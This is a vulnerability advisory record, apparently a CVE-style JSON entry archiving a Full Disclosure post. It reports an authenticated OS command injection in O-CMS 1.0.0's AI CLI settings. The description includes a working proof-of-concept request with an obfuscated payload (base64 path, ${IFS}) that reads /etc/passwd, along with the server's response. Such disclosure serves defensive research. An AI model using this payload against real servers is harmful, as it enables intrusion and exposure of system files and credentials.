{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "O-CMS",
          "vendor": "O",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nO-CMS version 1.0.0 contains an authenticated OS command injection\nvulnerability in the AI CLI configuration functionality. An authenticated\nattacker with sufficient privileges can supply shell metacharacters and\nadditional commands through the ai_cli_script parameter of\n/admin/settings/save.\n\nWhen the configured AI provider is subsequently tested through\n/admin/settings/test-ai, the attacker-controlled CLI value is executed in a\nshell-capable context. This allows injected operating-system commands to\nexecute with the privileges of the O-CMS application process.\n\nThe vulnerability was demonstrated by injecting a command that reads\n/etc/passwd. Triggering the AI test functionality caused O-CMS to execute\nthe injected command and return contents of /etc/passwd in the HTTP\nresponse.\nImpact\n\n An authenticated attacker can execute arbitrary operating-system commands\nwith the privileges of the O-CMS application process. This may result in\nunauthorized access to local files, disclosure of application secrets and\ncredentials, modification or deletion of application data, execution of\nattacker-controlled code, and potential compromise of the underlying server.\nProof of Concept\n\nThe following authenticated request stores an ai_cli_script value\ncontaining shell command injection syntax:\n\nPOST /admin/settings/save HTTP/1.1\nHost: 127.0.0.1:8080\nCookie: ocms_session=\u003cREDACTED\u003e\nContent-Type: application/x-www-form-urlencoded\n\n_csrf_token=\u003cREDACTED\u003e\u0026ai_provider=cli\u0026ai_cli_script=%2Ftmp%2Focms-cli%3Bcat%24%7BIFS%7D%24%28echo%24%7BIFS%7DL2V0Yy9wYXNzd2Q%3D%3D%7Cbase64%24%7BIFS%7D-d%29%3B%23\n\nThe application accepts the configuration:\n\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=UTF-8\n\nThe stored CLI configuration is then executed through the AI testing\nfunctionality:\n\nPOST /admin/settings/test-ai HTTP/1.1\nHost: 127.0.0.1:8080\nCookie: ocms_session=\u003cREDACTED\u003e\nContent-Type: application/json\n\n{\"_csrf_token\":\"\u003cREDACTED\u003e\"}\n\nO-CMS executes the injected command and returns data originating from\n/etc/passwd:\n\nHTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"success\":true,\"message\":\"Claude CLI funziona. Risposta:\nroot:x:0:0:root:\\/root:\\/bin\\/bash\\ndaemon:x:1:1:daemon:\\/usr\\/sbin:\\/usr\\/sbin\\/nologin\\nbin:x:2:2:bin:\\/bin\\/...\"}\n\nThe presence of entries such as:\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n\nconfirms successful execution of an attacker-controlled operating-system\ncommand.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:10:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/28"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/28"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/28"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "O-CMS 1.0.0 Authenticated OS Command Injection via ai_cli_script",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0003",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/28",
            "automated": true,
            "contentSha256": "7c9d6bbdb4127758a3c9c92b43d3dcfe19b3b756e00ea2aeb79faed3f81ced49",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/28",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-01T02:56:58Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T10:10:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0003"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}